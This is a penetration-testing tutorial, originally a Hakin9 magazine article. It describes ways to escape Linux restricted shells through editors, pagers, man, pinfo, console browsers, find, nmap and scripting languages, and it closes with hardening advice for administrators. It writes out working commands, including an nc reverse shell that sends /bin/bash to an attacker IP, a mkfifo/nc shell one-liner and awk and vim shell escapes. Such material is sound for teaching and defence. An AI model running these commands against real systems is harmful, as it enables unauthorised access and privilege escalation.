This is a rather long 21 page article I wrote a long time ago for the Hakin9 Magazine. The article was rather long, taking around 26 pages of the magazine, which is not common. To my surprise the article was so well received that it made to the cover of the magazine. In the future I will create another post about the same subject, but next time I’ll make it more like a quick reference guide for privilege escalation, loaded with a lot more tecniques.
I hope you enjoy reading it as much as I enjoyed writing it.
Abstract
The focus of this article is on discussing and summarizing different techniques to escape common Linux restricted shells, as well as simple recommendations for administrators to protect against it. This article is not focused on hardening shells,however some hints will be given to the reader as proof of concept. Additionally, this article is focused on Linux shells only, not windows. It is also important to note that not all techniques presented here will work in every restricted shell, so it is up to the user to find which techniques will suit them, depending on the environ ment in use. This is not intended to be a definite guide for escaping shell techniques, but a basic introduction to the subject.
Introduction
Restricted shells are no strangers to Penetration testers, or Linux administrators, but for some reason its importance is still neglected by many security and IT professionals in general. Restricted shells are conceptually shells with restricted permissions, with features and commands working under a very peculiar environment, built to keep users in a secure and controlled environment; thus, allowing them just the minimum necessary to perform their daily operations.
Linux administrators generally need to provide a local or remote shell to other users, or administrators, for daily routine management and support procedures. That is why it is extremely important to restrict these shells’ features to a minimum necessary for this activities, but sometimes it is not enough to keep it away from hackers, as you will soon see.
Penetration testers are a very cunning and determined type of people, which will only find peace after hacking into your servers. Once they get a low privileged shell, even a restricted one, it is time to try to escape normal restrictions and get more features and privileges to interact with.
This is where restricted shell escaping techniques come into play. Escaping shell restrictions is just a small part of the Penetration Testing Post Exploitation phase, designed to escalate privileges. Keep in mind that bypassing shell restrictions to escalate privileges does not necessarily mean getting write or execution permissions, generally used to get a less restricted shell or root access (which would be desirable). However, sometimes it is all about read permissions, allowing us to check files and inspect file system areas that we were not allowed to before, to steal sensitive information that would not be available otherwise. This “read-only” access, always so underestimated, can give us very precious information, such as user and service enumeration, even some credentials for further attacks and consequently owning the box itself.
There are hundreds, perhaps thousands of different techniques available, the extension will only depend on three factors:
- Environment features
- Knowledge
- Creativity
Common Restricted Shells
There is a lot of different restricted shells to choose from. Some of them are just normal shells with some simple common restrictions not actually configurable, such as rbash (restricited Bash), rzsh, and rksh (Korn Shell in restricted mode), which are really trivial to bypass. Others have a complete configuration set that can be redesigned to fit the administrator’s needs such as lshell (Limited Shell) and rssh (Restricted Secure Shell).
Configurable shells are much more difficult to bypass once its configuration can be tighten by administrators. Bypassing techniques on these shells generally rely on the fact that admins are somewhat forced to provide certain insecure commands for normal users to work with. When allowed without proper security configurations, they provide attackers with tools to escalate privileges, sometimes to root users.
Other reason for this is that sometimes admins are just Linux system admins, not really security professionals, therefore they do not really know the ways of the force, and end up allowing too many dangerous commands, from a Penetration Tester’s point of view.
Gathering Environment Information
Once we have access to a restricted shell, before we can go any further on all techniques, the first step is to gather as much information as possible about our current shell environment. The information gathered will give us an idea of what kind of restricted shell we are in and also the features provided and the techniques we can use, which are totally dependent on the environment found. Among some tests we can perform:
- Check available commands either by trying them out by hand, hitting the TAB key twice or listing files and directories.
- Check for commands configured with SUID permissions, especially if they are owned by a root user. If these commands have escaped, they can be run with root permissions and will be our way out, or in. Oh, you got the point!
- Check the list of commands you can use with sudo. This will let us execute commands with other user’s permissions by using our own password. This is especially good when configured for commands with escape features.
- Check what languages are at your disposal, such as python, expect, perl, ruby, etc. They will come in handy later on.
- Check if redirect operators are available, such as ‘|‘ (pipe), “>”, “>>”, “<”.
- Check for escape characters and execution tags such as: “;” (colon), “&” (background support), “’” (single quotes), “” (double-quotes), “$(“ (shell execution tag), “${“.
OBS: The easiest way to check for redirect operators, escape characters, and execution tags is to use them in commands as arguments or part of arguments, and later analyze the output for errors.
If some available command is unknown to you, install them in your own test Linux box and analyze its features, manual, etc. Sometimes downloading and inspecting the code itself is a life changer for
hidden functions that may not appear in the manual.
Try to determine what kind of shell you are in. This is not easy depending on the configuration in place, but can be performed by issuing some commands and checking for general error messages.
Here are some error message examples from different restricted shells:
- rbash:
- rksh:
- rzsh:
- lshell:
Some restricted shells show their names in the error messages, some do not. A full reference list can be extracted from the specific restricted shell manual or the configuration file in use. Keep them always at hand or memorize the most common errors. This information will be very important on identifying different types of shells in the future.
Common Initial Techniques
Let’s begin with the basics. There are some really easy techniques we can use to escape restricted shells, to execute commands, or access system areas we were not supposed to. Most of these techniques rely on simple command escape characters, redirect operators, or even Linux system shell variable pollution. Let’s analyze some of these:
Console Editors
Linux systems provide us with different editors such as ed, ne, nano, pico, vim, etc. Some of these shells provide third party command execution and file browsing features. Editors like “vim” provide us with one
of the most well-known techniques to bypass shell restrictions. Vim has a feature which allows us to run scripts and commands inside it. If vim is available, open it and issue the following command:
:!/bin/ls -l .b*
Vim will get you out of the editor and show the result of the “ls -l .b*” command executed, showing all /etc files with names beginning in a letter “b”.
We can use the same technique to execute any other command, or even another available shell like bash, to avoid our present restrictions issue:
:set shell=/bin/sh
:shell
… or
:!/bin/sh
As you can see below we have managed to execute /bin/sh shell inside vim, now we can execute commands in sh we were not allowed to in the rbash restricted shell.
Another good example is ed. It is an old default Unix console editor. Generally ed is provided to users because it is very simple with not many features that could compromise the system, but still it also has third party command execution features inside, very similar to vim.
Once inside ed, we can escape the normal shell by executing another one with !’/bin/sh’, as can be seen below:
We managed to get out of lshell and execute commands we were not allowed before.
Another example of editor is ne, which was designed to be a minimal and modern replacement for vi. As you can see inside lshell we have no permission to go back to “/” or any other directory above ours.
The ne editor has a very interesting feature that allows us to save or load configuration preferences. We can “abuse” this feature to read contents in the file system. With ed opened hit ESC once to reach the main configuration menu. Go to the last menu available, “Prefs” to the option “Load Prefs”:
Once clicked, it will show us the contents of the file system where we can choose our preferences file from. Notice that we now can escalate directories in the file system, even reaching “/” or any other directory, obtaining a read primitive:
We can even open /etc directory files like /etc/passwd to enumerate users:
Pager Commands
Linux pagers are simple utilities that allow us to see the output of a particular command or text file, that is too big to fit the screen, in a paged way. The most well-known are “more” and “less”. Pagers also have escape features to execute scripts.
Open a file long enough to fit in more than one screen with any of the pagers above and simply type !’sh’ inside it, as shown below:
As you can see our example using “less” we’ve managed to open a shell inside our pager and execute restricted commands:
This technique works on both “more” and “less” pagers.
MAN and PINFO Commands
The command “man”, used to display manual pages for Linux commands, also has escape features. Simply use the man command to display any command manual, like this:
$ man ls
When the manual for the command ls appears, use the same technique we used for the pagers.
The reason for this to work is due to the fact that “man” uses “less” or “more” as default pagers. Other pagers can be used instead to avoid escapes like this.
Pinfo is another example of an info command that has escape features. It works just like man.
Let’s use lshell this time for a more realistic example. As you can see in the next picture, lshell allows just a few commands by default. The pinfo command was added to the allowed command list just for this example.
Notice that we have tried to issue some commands like “nc”, “/bin/bash”, and “ls /etc” directly in the shell but they were all blocked, lshell restricted their use:
Let’s open ls manual with pinfo with the following command:
user@kali:~$ pinfo ls
After ls manual page opens, inside pinfo hit “!” (exclamation mark). Notice that this opened a command execution feature, now let’s execute some simple commands, such as the previous “ls /etc” that we were not allowed by lshell before, and see what we can get:
Notice that we successfully bypassed lshell restrictions executing a restricted command.
Let’s try again, but now using a command that is not in the allowed command list, like “nc -h”:
Notice that we managed to run a command that is not allowed by lshell through pinfo.
Now we have everything we need for a real remote shell. Now in our attacker machine (which is configured with IP 192.168.0.21), let’s create a listening socket using port 5000 with the following command:
$ nc -lvp 5000
Listening on [0.0.0.0] (family 0, port 5000)
We use pinfo again in our victim machine but this time we are going to issue the command “nc 192.168.0.21 5000 -e /bin/bash” and press ENTER. This command will try to start a connection from
the victim to our attacker’s machine on port 5000 and throw its own /bin/bash shell to it, this technique is known as “Reverse Shell”. Remember that this shell is not available in lshell by default, but we managed to have access to it bypassing its restrictions:
After hitting ENTER our pinfo screen went black, which means the command was probably executed without errors.
Let’s have a look at our attackers client on port 5000:
We can see a connection coming from our victim. Let’s issue some commands on the attacker side and see what we can get:
As you can see, we successfully bypassed the lshell command list restriction, executing a connection to our attacker’s machine and sending it the victim’s /bin/bash shell that we were not allowed to execute before.
Just as a hint, nc is what we call a “Network Swiss Army Knife”, and is installed by default in many different Linux distributions. It is not unusual for administrators with some security knowledge to uninstall it, or enforce restrictions so it cannot be used by general users besides root. Another drawback of nc is that the BSD version, if in use, has no -e/-c flags, so we would never be able to inject a shell using it.
Another way to get a reverse shell with nc is by adding some creativity and knowledge of Linux operating systems internals with other tools and pipes already provided by Linux systems out of the box.
On the victim’s machine we will execute the following command:
$ rm -f /tmp/f; mkfifo /tmp/f ; cat /tmp/f | /bin/sh -i 2>&1 | nc -l 192.168.0.21 5000 > /tmp/f”
Analyzing this command in parts (separated by semicolons), the first “rm -f /tmp/f” is used to force delete the “/tmp/f” if it exists.
The second command “mkfifo /tmp/f” is creating the same file as a fifo file. Fifo (First-In First-Out) is a special type of file, similar to a pipe, it can be opened by multiple processes for reading and writing. We are going to use this file as a pipe to exchange data between our interactive shell and nc.
The third command “cat /tmp/f | /bin/sh -i 2>&1 | nc -l 192.168.0.21 5000 > /tmp/f” does a lot of things. First it opens the fifo file we created then pipe its contents to a shell with interactive mode on (/bin/sh -i), also it redirects any error output to the standard output (2>&1). Right after that, it is piping all the results, as a reverse shell, to victim nc listening on the victim’s IP. Now the attacker’s machine does not need to listen to an incoming shell because we made the victim listen for a shell instead. Now from the attacker’s machine, we try to connect to the victim on port 5000, and we get our shell.
This kind of FIFO shell is very tricky, very verbose, error prone, and little bit harder to run from injected shellcode, but it is yet another option. Remember that this kind of reverse shell technique will only work if the restricted shell allows redirect and escape characters.
Console Browsers
You might be familiar with some Linux console browsers, such as “links”, “lynx”, and “elinks”. Browsers are a very good option for escaping to other commands and shells.
Let’s begin with a very dumb example. Let’s take “links” for instance. After opening any website with a text box, “google.com” for example, hit ESC once, that will lead you to the configuration menu.
Hit FILE > OS Shell.
There you have it, an easy shell!
Another very good example of a console browser is lynx. lynx has a very good feature that lets us edit website content, such as text box, using third party editors configured by the user.
After opening lynx and loading any website containing a text box, “google.com” for example, by hitting “o”, lynx will lead us to the options page where we can configure an alternative editor:
For this example we have configured “/usr/bin/vim”. Hitting “Accept Changes”, lynx will take us back to the Google page. Now we move our cursor to the search text box and hit “e” to edit the content with an external editor we configured. lynx will take us to vim, from where we can use the same command execution techniques already discussed, to get another command or even another shell running.
The same editor configuration can be achieved in lynx passing the editor’s absolute path as an argument with the following command:
user@kali:~$ lynx --editor=/usr/bin/vim www.google.com
We still have another console browser to cover, elinks. We can also instruct elinks console browser to use an external editor by simply setting $EDITOR variable to reflect the absolute path of some editor, for example:
user@kali:~$ export EDITOR=/usr/bin/vim
Now load any website containing a text box, such as http://translate.google.com, once the page opens move your cursor to the text box field, now press ENTER and then the F4 key. elinks will lead you to vim. Now it is just a matter of reusing vim escape techniques presented before.
It is important to remember that pagers can also be used as editors in console browsers, so you can easily link from one technique to the other if necessary. Try it!
MUTT Command
mutt is a Linux console e-mail reader, and it also has escape features. Simply open mutt and click “!”. This will open a command execution in mutt. Let’s try to open a shell inside it:
There we have it!
FIND Command
find is a very well-known command used to find files in Linux file systems. It has many features, among them an “-exec”, one that let us execute a shell command. Let’s analyze a very simple example where we use find to look for a nonexistent file and execute a forbidden command:
Notice that we managed to cd to /root directory and also list its files. find is a very interesting command, however the -exec can only execute commands that are available to the user. Our example will work in rbash, rzsh, and rksh shell due to the very simple restrictions they have, but it will not be true for more advanced and configurable shells such as lshell.
NMAP Command
Nmap is probably the most well-known port scanner around, and it is used by many security and network professionals around the globe. It is very strange and unusual to find nmap allowed in a restricted shell, nonetheless nmap has a very interesting option called “–interactive”.
The “–interactive” option was used in nmap versions before May, 2009 to open an interactive console where additional commands could be run. This function was deactivated in nmap release r17131.
When scanning old Linux server networks, it is still common to find old pieces of software installed. If you ever encounter an old nmap older than the release above, interactivity it can still be used. The function can be triggered simply by using “–interactive” as an argument. When the interactive console appears, simply issue the command “!sh” to open a shell, or any other command you want.
user@kali:~$ nmap --interactive
nmap> !sh
$
Programming Techniques
Programming languages are great resources for running different commands and other applications to avoid shell restrictions. Examples go on and on endlessly, due to the nature of programming languages being very complete and full of features. Remember that generally, programming function calls use special characters like commas, parentheses, semicolons, etc., so if the restricted shell in place is not blocking their use, the techniques below will probably work. Let’s analyze some very well-known examples:
AWK Command
The awk is an interpreted programming language designed for text processing. It is a standard feature of most UNIX-like operating systems, which is why we can generally find them allowed in shells.
It has a lot of functions like print(), sprintf(), and others. Among the most interesting one is system().
The system() function allows us to use /bin/sh to execute a command in the system by using a very simple command line:
$ awk 'BEGIN {system("/bin/sh")}'
Notice that even if we are not allowed to directly run another shell (/bin/sh) inside lshell, we could easily escape its restrictions by using awk to open a shell for us:
EXPECT Command
Expect is yet another example of a language. It is more of a program that “talks” to other interactive programs according to a script. This means we can basically create a script inside expect for it to be run. Also, expect has a very interesting function called spawn(). Using spawn(), it is possible to drive an interactive shell using its interactive job control features. A spawned shell thinks it is running interactively and handles job control as usual.
Let’s execute a simple command in expect instructing it to spawn a /bin/sh shell for us:
Notice that we were not allowed in lshell to directly execute /bin/sh; nevertheless, we successfully bypassed that restriction by instructing expect to interactively run /bin/sh.
The same could be accomplished with a more simple command such as:
PYTHON
Python is again another very good language to work with. Very flexible and reliable. It has a lot of functions we can use to execute commands in a shell, such as system(), pty(), and many others. Let’s explore a simple example:
We managed to execute the function print() to echo the string “testing”, so it should not be difficult to execute any other command like ls or even a shell. For the first example we are importing the OS module, responsible for OS interaction, and finally using the system() function to run a forbidden command, cp, just for a proof of concept:
Notice that we successfully ran the cp command, so it would not be difficult to run a shell. Let’s do it:
And there we have it. The same example could be applied in a number of different ways, using different functions, such as the spawn() function in the pty module, as can be seen below:
The techniques you can use will only depend on the functions you have at your disposal.
If we want the shell to be available remotely, we can use a reverse shell technique instructing python to open a socket to our attacker’s machine like this:
Checking our attacker’s machine, which is already listening on port 5000:
RUBY
The same can be accomplished in ruby. Let’s do a simple example using irb (Interactive Ruby Shell), from where we can directly invoke a shell or any other command:
Notice that we successfully (again) obtained a /bin/sh inside irb.
Another way to accomplish the same thing as a reverse shell is by instructing ruby to open a TCPSocket on our attacker’s machine, and redirecting the interactive shell like this:
PERL
Again, another simple example: Let’s use perl with system() method to execute a forbidden command, cp, using /bin/sh as our interpreter:
We managed to execute the command, now it should not be difficult to execute a shell:
And again we did it! Another way to accomplish the same thing is using the exec() method like this:
We can get a reverse shell by instructing perl to open a socket to our attacker’s machine like this:
Checking our attacker machine, which is listening on port 5000:
PHP
PHP Language has a lot of options to execute commands in a shell, among them the already famous system() and exec(). You can either do it interactively inside the php console, or directly in a command line as we did before in ruby, python, and perl.
Here is an example of PHP being used interactively:
Here we managed to run a forbidden command cp. Let’s now use the exec() function to try to execute a interactive shell:
And there we have it. We really do not need the interactive mode to get a shell in the box. We can simply execute php scripts on the command line and make our victim send us its reverse shell like this:
Checking our attacker’s machine, which was already listening port 5000:
Best Practices and Conclusion
As we saw, there is always a way to bypass restricted shell restrictions and bend the server to our will. We have covered just simple and well known examples, but the possibilities are endless.
There are always new applications, features, and new ways to find escape techniques in them; therefore, it is almost impossible to restrict a shell in a way that it could be considered bullet proof; however, some best practices should be in place to have at least a minimum security level, they are:
- Prefer to work with “Allowed commands” instead of “Dissallowed commands”. The amount of commands with escapes you do not know are far superior than the ones you do.
- Keep the “Allowed Commands” list to the minimum necessary.
- Inspect your allowed commands for escaping features on a regular basis, either by studying the manual or search in the security community.
- Check allowed commands that could interact with Linux system variables and restrict their access.
- Scripts that invoke other scripts can be a security risk, especially when they are running with another user’s privileges and software that allow escape or third party command execution. Try to avoid this.
- If any command allowed has escaped or command execution features, avoid using it. If this is not possible, try to enforce restrictions to block certain functions or use restricted versions. Some commands have restricted versions with no command execution support.
- If providing Linux editors is inevitable, use restricted versions, such as:
a) vim = rvim (Restricted Vim)
b) ed = red (Restricted ED)
c) nano = rnano (Restricted Nano) - A nice hint for restricted software would be to provide them as a symbolic link. For all purposes your user might think it is using vim, for example, while it is just a symbolic link to rvim.
- If providing pagers is necessary, avoid less and more, and use pages that do not provide command execution escapes like most.
- When using any software that has built-in third party editors support that rely on $EDITOR and $VISUAL Linux variables, make these variables read-only to avoid users changing its content to software containing escapes.
- Try to avoid allowing programming languages. If this is not possible, ensure that configuration is hardened and dangerous functions such as pty(), system(), exec(), etc., are blocked. Some programming languages are easy to harden, by simply defining functions that are disabled, others are trickier, and sometimes the only way to do it is either uninstalling certain functions or not providing the language itself.